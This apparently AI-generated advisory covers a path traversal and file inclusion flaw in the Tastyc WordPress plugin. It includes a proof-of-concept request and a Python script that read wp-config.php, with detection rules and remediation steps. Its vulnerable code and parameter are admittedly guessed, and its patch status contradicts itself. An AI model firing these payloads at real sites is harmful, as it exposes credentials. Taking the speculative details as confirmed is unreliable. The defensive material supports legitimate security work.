CVE-2025-27010

Executive Summary

CVE-2025-27010 is a critical path traversal vulnerability (CWE-35) in the WordPress plugin Tastyc by bslthemes, affecting versions from n/a through 2.5.1. The vulnerability allows an unauthenticated attacker to perform PHP Local File Inclusion (LFI) by exploiting a .../...// traversal pattern. This can lead to disclosure of sensitive files (e.g., wp-config.php, /etc/passwd) and potentially remote code execution if log poisoning or other techniques are combined. The CVSS score is 8.1 (High), and no official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since Tastyc is distributed via the WordPress plugin repository and potentially via third-party marketplaces, any site running a version below 2.5.2 is at risk. Administrators should immediately check their plugin version and apply any available updates or remove the plugin until a patch is confirmed.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable remotely without authentication, making it a high-priority threat for WordPress sites using the Tastyc plugin.

Deep Dive & Mechanics

The vulnerability resides in the Tastyc plugin's file inclusion mechanism, likely in a function that handles template or resource loading. The path traversal pattern .../...// bypasses simple sanitization that removes ../ sequences. By encoding or doubling the traversal, the attacker can escape the intended directory and include arbitrary PHP files from the server.

Example vulnerable parameter: ?template=.../...//.../...//wp-config.php

The server interprets .../...// as ../../ after normalization, allowing directory traversal. Since PHP's include() is used, the attacker can read any file as PHP code (if it contains PHP) or as plaintext (if not). This can lead to:

• Reading sensitive configuration files (wp-config.php, .htaccess)
• Including log files to achieve remote code execution via log poisoning
• Including /proc/self/environ or other system files

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

$template = $_GET['template'];
$template = str_replace('../', '', $template); // Only removes single '../'
include('templates/' . $template . '.php');

Patched Code (expected):

$template = basename($_GET['template']); // Strips path components
$template = preg_replace('/[^a-zA-Z0-9_-]/', '', $template); // Whitelist characters
include('templates/' . $template . '.php');

The patched version should use basename() or a strict whitelist to prevent any directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with Tastyc plugin < 2.5.2
• No authentication required

Exploit Steps:

1. Identify the vulnerable parameter (likely template, file, or page).
2. Use the traversal pattern .../...// to escape the template directory.
3. Include sensitive files.

Proof-of-Concept (PoC) Request:

GET /wp-content/plugins/tastyc/tastyc.php?template=.../...//.../...//wp-config.php HTTP/1.1
Host: target.com

Automated Exploit (Python):

import requests

target = "http://target.com/wp-content/plugins/tastyc/tastyc.php"
payload = ".../...//.../...//wp-config.php"
params = {"template": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for .../...// patterns in GET parameters.
• Look for requests to tastyc.php with suspicious template values.
• Use WAF rules to block path traversal patterns.

Honeypot:

• Deploy a fake wp-config.php that logs access and alerts.

Indicators of Compromise (IOCs)

• URL Patterns: .../...// in query strings (e.g., ?template=.../...//.../...//wp-config.php)
• File Paths: /wp-content/plugins/tastyc/tastyc.php accessed with traversal parameters
• Log Entries: HTTP 200 responses to requests containing .../...// and wp-config.php
• Network: Outbound connections from the web server to unknown IPs (if RCE achieved)

Detection Engineering

YARA Rule

rule CVE_2025_27010_Path_Traversal {
    meta:
        description = "Detects path traversal attempts for CVE-2025-27010 in Tastyc plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27010"
    strings:
        $traversal = ".../...//"
        $plugin = "tastyc"
    condition:
        $traversal and $plugin
}

Sigma Rule

title: CVE-2025-27010 Path Traversal in Tastyc Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal pattern .../...// targeting Tastyc plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '.../...//'
        cs-uri-stem|contains: 'tastyc'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27010 Path Traversal in Tastyc Plugin"; flow:to_server,established; content:".../...//"; http_uri; content:"tastyc"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 2.5.2 or later if a patch becomes available.
2. Disable the plugin if no patch is available and the functionality is not critical.
3. Implement WAF rules to block .../...// patterns in query strings.
4. Restrict file inclusion by using basename() and whitelisting allowed files.

Long-term:

• Monitor the vendor's website for official patches.
• Conduct a security audit of all WordPress plugins.
• Implement a Web Application Firewall (WAF) with virtual patching.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.